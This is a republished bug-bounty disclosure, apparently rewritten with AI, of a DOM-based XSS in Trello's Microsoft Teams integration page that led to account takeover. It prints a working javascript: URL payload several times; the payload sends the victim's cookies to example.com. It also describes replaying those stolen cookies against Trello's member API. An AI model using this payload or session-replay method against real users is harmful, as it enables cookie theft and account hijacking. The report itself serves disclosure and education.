Skip to content
XSS Disclosed report Intermediate

Account Takeover at https://trello.com

A DOM-based cross-site scripting flaw in Trello's Microsoft Teams integration page allowed an attacker to run script in the victim's browser and steal their session cookies. With those cookies, the attacker could impersonate the victim and take over their Trello account.

AnkitSingh Follow

Originally disclosed on Bugcrowd

Bounty$3,600 High View original
  • Accepted in 3 days
  • Fixed in 12 months
  • Disclosed after 2.2 years

Summary by Trello

Reflected XSS vulnerability in Trello

Summary by AnkitSingh

Description -:

I've found a DOM based XSS within the context of https://trello.com (one of the Atlassian assets) using which an attacker can takeover any Trello account.

Vulnerable code :

As can be seen at https://d2k1ftgv7pobq7.cloudfront.net/meta/u/res/integrations/teams/js/7c73829d4a38a434bed5d0ff245cbd1b/tab-content-configurable.js, that the provided content is loaded within an iframe without prior validation -:

displayTrelloBoardIframe = () => {
        const a = `${contentUrl}?iframeSource=msteams`,
            o = document.getElementById("trello-board");
        o.style.width = "100%", o.style.height = "100%", $("#trello-board").append('<div class="switchViews"><iframe id="trelloIframe" x-frame-options:SAMEORIGIN sandbox="allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-pointer-lock allow-scripts allow-same-origin" allow="geolocation *; microphone *; camera *; midi *; encrypted-media *;" data-tid="embeddedPageContainerIframe" acc-tabbable=true allowfullscreen="" src="' + a + '"></iframe></div>')
    }

Proof of Concept -:

As a victim :
  1. Visit at -:

https://trello.com/integrations/teams/tab-content?contentUrl=javascript:decodeURIComponent('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%60%68%74%74%70%73%3a%2f%2f%65%78%61%6d%70%6c%65%2e%63%6f%6d%3f%70%61%72%61%6d%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e')//

Observe your cookies got stolen to example.com

As an attacker :
  1. Copy the cookie values stolen at example.com within the parameter param.

  2. Now at a private/incognito window of your browser, make a GET request towards https://trello.com/1/Members/me?tokens=all&sessions=all&credentials=all&logins=true&enterprises=true&enterprise_fields=prefs&token_plugins=true and intercept then send to repeater. Append the stolen cookie values within this request and observe the response containing the victim's details.

NOTE that this escalation in the form of session hijacking further demonstrates that HTTPonly flags are not there at cookie. Also, within the stolen values at example.com, observe a cookie by the name of token. It is basically the CSRF token of the victim.

Impact -:

Consequently, this gives the attacker the capability to become the admin of associated workspace.

It would be unfortunate if such a cookie stealing URL is Emailed to mass users or is posted at public forum/blogs in the form of comments etc. All it would require from the victim end would be a single click to hand over their account to attacker.

The original report as published on Bugcrowd, by Trello. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Trello is an Atlassian product, and the researcher describes https://trello.com as one of the Atlassian assets. The feature involved is the Microsoft Teams integration: a page under /integrations/teams/tab-content that renders a Trello board inside an iframe so it can be embedded in a Teams tab. The page takes a contentUrl parameter and uses it as the src of the iframe it builds.

Trello's own summary of the issue is short: a reflected XSS vulnerability in Trello. The researcher's write-up describes it more precisely as a DOM-based XSS in the trello.com context that allows takeover of any Trello account.

Setup

The report does not describe any special accounts, roles, tools or versions. The proof of concept is split into two roles: a victim, who only has to visit a crafted URL while logged in to Trello, and an attacker, who receives the stolen cookie values and replays them. The attacker needs a place to receive the exfiltrated data, which in the write-up is example.com, and a way to send HTTP requests with modified cookies, which the researcher does with an intercepting proxy and its repeater.

Finding it

The researcher points at a specific JavaScript file served from CloudFront:

Text
https://d2k1ftgv7pobq7.cloudfront.net/meta/u/res/integrations/teams/js/[redacted]/tab-content-configurable.js

In that file, the function that displays the board builds an iframe by string concatenation and appends it to the page. The content URL is placed into the src attribute without any prior validation:

JavaScript
displayTrelloBoardIframe = () => {
        const a = `${contentUrl}?iframeSource=msteams`,
            o = document.getElementById("trello-board");
        o.style.width = "100%", o.style.height = "100%", $("#trello-board").append('<div class="switchViews"><iframe id="trelloIframe" x-frame-options:SAMEORIGIN sandbox="allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-pointer-lock allow-scripts allow-same-origin" allow="geolocation *; microphone *; camera *; midi *; encrypted-media *;" data-tid="embeddedPageContainerIframe" acc-tabbable=true allowfullscreen="" src="' + a + '"></iframe></div>')
    }

The important parts are the template literal that appends ?iframeSource=msteams to whatever contentUrl holds, and the src="' + a + '" concatenation.

Exploitation

Step 1: the victim visits the crafted URL

The victim, logged in to Trello, opens the following URL:

Text
https://trello.com/integrations/teams/tab-content?contentUrl=javascript:decodeURIComponent('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%60%68%74%74%70%73%3a%2f%2f%65%78%61%6d%70%6c%65%2e%63%6f%6d%3f%70%61%72%61%6d%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e')//

The contentUrl value is a javascript: URL whose body calls decodeURIComponent on a percent-encoded string. Decoded, that string is a script element that sets document.location to https://example.com?param= followed by document.cookie, then closes the script tag.

When the page builds the iframe, the src becomes this javascript: URL, the script runs, and the victim's cookies are sent to example.com as the param query value. The researcher's observation for this step is simply that the cookies are stolen to example.com.

Step 2: the attacker replays the stolen cookies

The attacker takes the cookie values received at example.com and, in a private or incognito browser window, issues a GET request to:

The request is intercepted and sent to the repeater. The attacker appends the stolen cookie values to it, and the response comes back containing the victim's details. The query string asks the API for the member's tokens, sessions, credentials, logins, enterprises and enterprise preferences, and token plugins.

The researcher notes two things about the stolen material. First, the escalation to session hijacking shows that the cookies do not carry the HTTPonly flag, which is why script in the page can read them at all. Second, among the stolen values there is a cookie named token, which the researcher identifies as the victim's CSRF token.

Root cause

The flaw is in displayTrelloBoardIframe: the content URL is placed into the iframe src without prior validation.

The impact is amplified by cookie configuration: the session cookies are readable from JavaScript because they lack HTTPonly, so a single execution of script in the page is enough to exfiltrate them. The report does not say which cookies beyond token were exposed or how they are scoped.

Impact

With the stolen cookies, the attacker can query the Trello API as the victim and obtain their details, and the researcher states that this gives the attacker the capability to become the admin of the associated workspace. The researcher identifies the token cookie as the victim's CSRF token.

The attack requires the victim to be logged in and to click a single link. The researcher notes that such a cookie-stealing URL could be emailed to many users or posted on public forums and blogs as comments, and that all it would take from the victim is one click to hand over their account.

Fix

  1. Look for other integration pages that take a URL parameter and place it into an iframe src by string concatenation. A positive result is a javascript: value in that parameter executing in the parent origin.
  2. Try the same parameter with a data: URL containing a script, and with a URL that breaks out of the attribute with a quote. A positive result is script execution or markup injection in the embedding page.
  3. Check whether the appended suffix (here ?iframeSource=msteams) can be neutralised with a trailing // or a fragment, and whether the application validates the scheme at all. A positive result is that the injected code runs despite the suffix.
  4. Inspect iframe sandbox attributes for allow-scripts combined with allow-same-origin, which removes the isolation the sandbox is meant to provide. A positive result is framed content that can reach the parent origin's DOM or cookies.
  5. Check whether session cookies carry HTTPonly, and whether a CSRF token cookie is readable from JavaScript. A positive result is document.cookie returning session or CSRF values.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Trello is a website for organising work into boards, lists and cards. It is made by Atlassian. Like many websites, it has a feature that lets you show a Trello board inside another product: in this case, Microsoft Teams. A Teams tab can display a Trello board by loading a Trello page that puts the board inside a frame.

The researcher found that this page trusted a value supplied in the web address (the URL) too much. If that value was crafted in a particular way, the browser would run it as a small program instead of loading a board. That small program could read the visitor's Trello cookies and send them to a website the attacker controls. Cookies are the little pieces of data a site stores in your browser to remember that you are logged in. If someone else gets your cookies, they can often act as you.

Trello's own summary calls it a reflected XSS vulnerability. The researcher describes it more precisely as a DOM-based XSS in the trello.com context that allows takeover of any Trello account. XSS, short for cross-site scripting, means getting a website to run code that the website's authors did not intend. "Reflected" means the harmful value comes in with the request and is echoed back into the page. "DOM-based" means the problem happens in the browser as the page's own JavaScript builds the page, rather than in the HTML the server sends.

The feature involved

Trello is an Atlassian product, and the researcher describes https://trello.com as one of the Atlassian assets. The feature involved is the Microsoft Teams integration: a page under /integrations/teams/tab-content that renders a Trello board inside an iframe so it can be embedded in a Teams tab.

An iframe is a window inside a web page that shows another page. Think of a picture frame hanging on a wall: the wall is the outer page, the picture inside the frame is the other page. The outer page decides what goes in the frame by setting the frame's src attribute, which is simply the address of the page to show.

The page takes a contentUrl parameter and uses it as the src of the iframe it builds. A parameter is a named value attached to the end of a web address after a question mark, like ?contentUrl=....

Setting up the test

The report does not describe any special accounts, roles, tools or versions. The proof of concept is split into two roles: a victim, who only has to visit a crafted URL while logged in to Trello, and an attacker, who receives the stolen cookie values and replays them.

The attacker needs a place to receive the exfiltrated data, which in the write-up is example.com, and a way to send HTTP requests with modified cookies, which the researcher does with an intercepting proxy and its repeater. An intercepting proxy is a program that sits between your browser and the website, letting you see and edit each request before it is sent. A repeater is the part of such a tool that lets you send the same request again and again with changes. HTTP is the language browsers and websites use to talk to each other; a request is one message from browser to site, a response is the site's reply.

Finding the flaw

The researcher points at a specific JavaScript file served from CloudFront:

Text
https://d2k1ftgv7pobq7.cloudfront.net/meta/u/res/integrations/teams/js/[redacted]/tab-content-configurable.js

This is the address of a file of JavaScript, the programming language web pages run in your browser. CloudFront is a content delivery network, a service that stores copies of files on servers around the world so they load quickly. The researcher read this file to see how the page builds its iframe.

In that file, the function that displays the board builds an iframe by string concatenation and appends it to the page. The content URL is placed into the src attribute without any prior validation:

JavaScript
displayTrelloBoardIframe = () => {
        const a = `${contentUrl}?iframeSource=msteams`,
            o = document.getElementById("trello-board");
        o.style.width = "100%", o.style.height = "100%", $("#trello-board").append('<div class="switchViews"><iframe id="trelloIframe" x-frame-options:SAMEORIGIN sandbox="allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-pointer-lock allow-scripts allow-same-origin" allow="geolocation *; microphone *; camera *; midi *; encrypted-media *;" data-tid="embeddedPageContainerIframe" acc-tabbable=true allowfullscreen="" src="' + a + '"></iframe></div>')
    }

Line by line, in plain words:

  1. displayTrelloBoardIframe = () => { starts the definition of a function, a named block of code that can be run later. This one is called when the board should be shown.
  2. const a = ${contentUrl}?iframeSource=msteams, creates a variable called a. A variable is a labelled box that holds a value. The value is whatever contentUrl holds, with the text ?iframeSource=msteams glued onto the end. The backtick syntax is a template literal, a way of building a string (a piece of text) by mixing fixed text with values.
  3. o = document.getElementById("trello-board"); finds the element on the page with the id trello-board and stores it in o. An element is one piece of a page, such as a box or a button.
  4. o.style.width = "100%", o.style.height = "100%", makes that element fill its container horizontally and vertically.
  5. $("#trello-board").append('...') adds new HTML to the inside of that element. HTML is the markup language that describes the structure of a web page. The long quoted text is the markup being added: a wrapper div containing an iframe.
  6. Inside that markup, src="' + a + '" is the key part. The value of a is pasted straight into the HTML text between the quotes of the src attribute. Because the value is inserted into an HTML string rather than assigned as a property, the browser parses it as markup. A javascript: scheme in contentUrl is therefore not treated as an opaque URL to load but as script to run in the context of the embedding page. A scheme is the first part of a URL, such as https: or javascript:; javascript: tells the browser that what follows is code to run.
  7. A sandbox is a set of restrictions on what framed content may do. Origin is the combination of scheme, host and port that identifies a site; content from the same origin can reach the same data.
  8. A header is a line of metadata sent with a request or response. X-Frame-Options is a real header that can stop a page being framed, but writing the same words inside the HTML tag does nothing.

Exploitation

Step 1: the victim visits the crafted URL

The victim, logged in to Trello, opens the following URL:

Text
https://trello.com/integrations/teams/tab-content?contentUrl=javascript:decodeURIComponent('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%60%68%74%74%70%73%3a%2f%2f%65%78%61%6d%70%6c%65%2e%63%6f%6d%3f%70%61%72%61%6d%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e')//

What each part does:

  1. https://trello.com/integrations/teams/tab-content is the real Trello page for the Teams integration. The victim is on Trello's own site, which is why the browser will send Trello's cookies with the request.
  2. ?contentUrl= starts the parameter that the page will use as the iframe address.
  3. javascript: tells the browser that the value is code, not a normal web address.
  4. decodeURIComponent('...') is a built-in JavaScript function that turns percent-encoded text back into normal text. Percent-encoding is a way of writing characters that are awkward in a URL, such as < as %3c and > as %3e.

Decoded, the percent-encoded string is a script element that sets document.location to https://example.com?param= followed by document.cookie, then closes the script tag. document.location is the browser's current address; assigning to it makes the browser navigate. document.cookie is the browser's way of reading the cookies that belong to the current page. So the script takes the victim's cookies and puts them in the address of a request to example.com, where the attacker can read them.

When the page builds the iframe, the src becomes this javascript: URL, the script runs, and the victim's cookies are sent to example.com as the param query value. The researcher's observation for this step is simply that the cookies are stolen to example.com.

Step 2: the attacker replays the stolen cookies

The attacker takes the cookie values received at example.com and, in a private or incognito browser window, issues a GET request to:

What this request means:

  1. GET is the HTTP method for asking a server to return something. It is the same kind of request your browser makes when you open a page.
  2. https://trello.com/1/Members/me is an API endpoint. An API is a way for programs to talk to a service using fixed addresses and data formats, rather than a page designed for a person to look at. Members/me means "the account that is currently logged in".
  3. ?tokens=all&sessions=all&credentials=all&logins=true&enterprises=true&enterprise_fields=prefs&token_plugins=true is the query string, a list of settings separated by &. It asks the API for the member's tokens, sessions, credentials, logins, enterprises and enterprise preferences, and token plugins.
  4. HTTP/1.1 is the version of the HTTP protocol being used.

The request is intercepted and sent to the repeater. The attacker appends the stolen cookie values to it, and the response comes back containing the victim's details. In plain terms, the attacker is putting on the victim's login like a borrowed coat: the server sees the victim's cookies and believes the request comes from the victim.

The researcher notes two things about the stolen material. First, the escalation to session hijacking shows that the cookies do not carry the HTTPonly flag, which is why script in the page can read them at all. HTTPonly is a setting on a cookie that tells the browser to hide it from JavaScript; without it, any script running on the page can read the cookie. Session hijacking means taking over someone's logged-in session by stealing the data that identifies it. Second, among the stolen values there is a cookie named token, which the researcher identifies as the victim's CSRF token. CSRF, cross-site request forgery, is an attack where a site is tricked into accepting a request the user did not mean to make; a CSRF token is a secret value the site checks to prove the request really came from its own pages.

Why it works

The flaw is in displayTrelloBoardIframe: the content URL is placed into the iframe src without prior validation.

The impact is amplified by cookie configuration: the session cookies are readable from JavaScript because they lack HTTPonly, so a single execution of script in the page is enough to exfiltrate them. The report does not say which cookies beyond token were exposed or how they are scoped.

Impact

With the stolen cookies, the attacker can query the Trello API as the victim and obtain their details, and the researcher states that this gives the attacker the capability to become the admin of the associated workspace. The researcher identifies the token cookie as the victim's CSRF token.

The attack requires the victim to be logged in and to click a single link. The researcher notes that such a cookie-stealing URL could be emailed to many users or posted on public forums and blogs as comments, and that all it would take from the victim is one click to hand over their account.

Fix

  1. Look for other integration pages that take a URL parameter and place it into an iframe src by string concatenation. A positive result is a javascript: value in that parameter executing in the parent origin.
  2. Try the same parameter with a data: URL containing a script, and with a URL that breaks out of the attribute with a quote. A positive result is script execution or markup injection in the embedding page.
  3. Check whether the appended suffix (here ?iframeSource=msteams) can be neutralised with a trailing // or a fragment, and whether the application validates the scheme at all. A positive result is that the injected code runs despite the suffix.
  4. Inspect iframe sandbox attributes for allow-scripts combined with allow-same-origin, which removes the isolation the sandbox is meant to provide. A positive result is framed content that can reach the parent origin's DOM or cookies.
  5. Check whether session cookies carry HTTPonly, and whether a CSRF token cookie is readable from JavaScript. A positive result is document.cookie returning session or CSRF values.

Glossary

  • API: a fixed set of addresses and data formats that programs use to talk to a service, as opposed to pages made for people to look at.
  • Attribute: a named setting written inside an HTML tag, such as src or sandbox.
  • CloudFront: a content delivery network that stores copies of files on servers around the world so they load quickly.
  • Cookie: a small piece of data a website stores in your browser, often used to remember that you are logged in.
  • CSRF: cross-site request forgery, an attack that tricks a site into accepting a request the user did not mean to make.
  • CSRF token: a secret value a site checks to prove a request really came from its own pages.
  • DOM-based XSS: cross-site scripting where the harmful behaviour happens in the browser as the page's own JavaScript builds the page.
  • Element: one piece of a web page, such as a box, a link or a frame.
  • Endpoint: a specific address on a server that accepts requests, such as /1/Members/me.
  • Function: a named block of code that can be run later.
  • GET: the HTTP method for asking a server to return something.
  • Header: a line of metadata sent with an HTTP request or response.
  • HTML: the markup language that describes the structure of a web page.
  • HTTP: the language browsers and websites use to exchange requests and responses.
  • HTTPonly: a cookie setting that hides the cookie from JavaScript.
  • Iframe: a window inside a web page that shows another page.
  • Intercepting proxy: a tool that sits between browser and website so you can see and edit each request.
  • JavaScript: the programming language web pages run in your browser.
  • javascript: scheme: a URL prefix that tells the browser the rest of the value is code to run.
  • Origin: the combination of scheme, host and port that identifies a site; content from the same origin can reach the same data.
  • Parameter: a named value attached to a web address after a question mark.
  • Percent-encoding: a way of writing characters that are awkward in a URL, such as < as %3c.
  • Query string: the part of a URL after the question mark, made of settings separated by &.
  • Reflected XSS: cross-site scripting where the harmful value comes in with the request and is echoed back into the page.
  • Repeater: the part of an intercepting proxy that lets you resend a request with changes.
  • Request: one HTTP message from browser to website.
  • Response: the website's HTTP reply to a request.
  • Sandbox: a set of restrictions on what framed content may do.
  • Scheme: the first part of a URL, such as https: or javascript:.
  • Session hijacking: taking over someone's logged-in session by stealing the data that identifies it.
  • String: a piece of text in programming.
  • Template literal: a JavaScript way of building a string by mixing fixed text with values, written with backticks.
  • Variable: a labelled box in a program that holds a value.
  • XSS: cross-site scripting, getting a website to run code its authors did not intend.

More by AnkitSingh

View all

1 more disclosed report, best first.

More from Trello

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.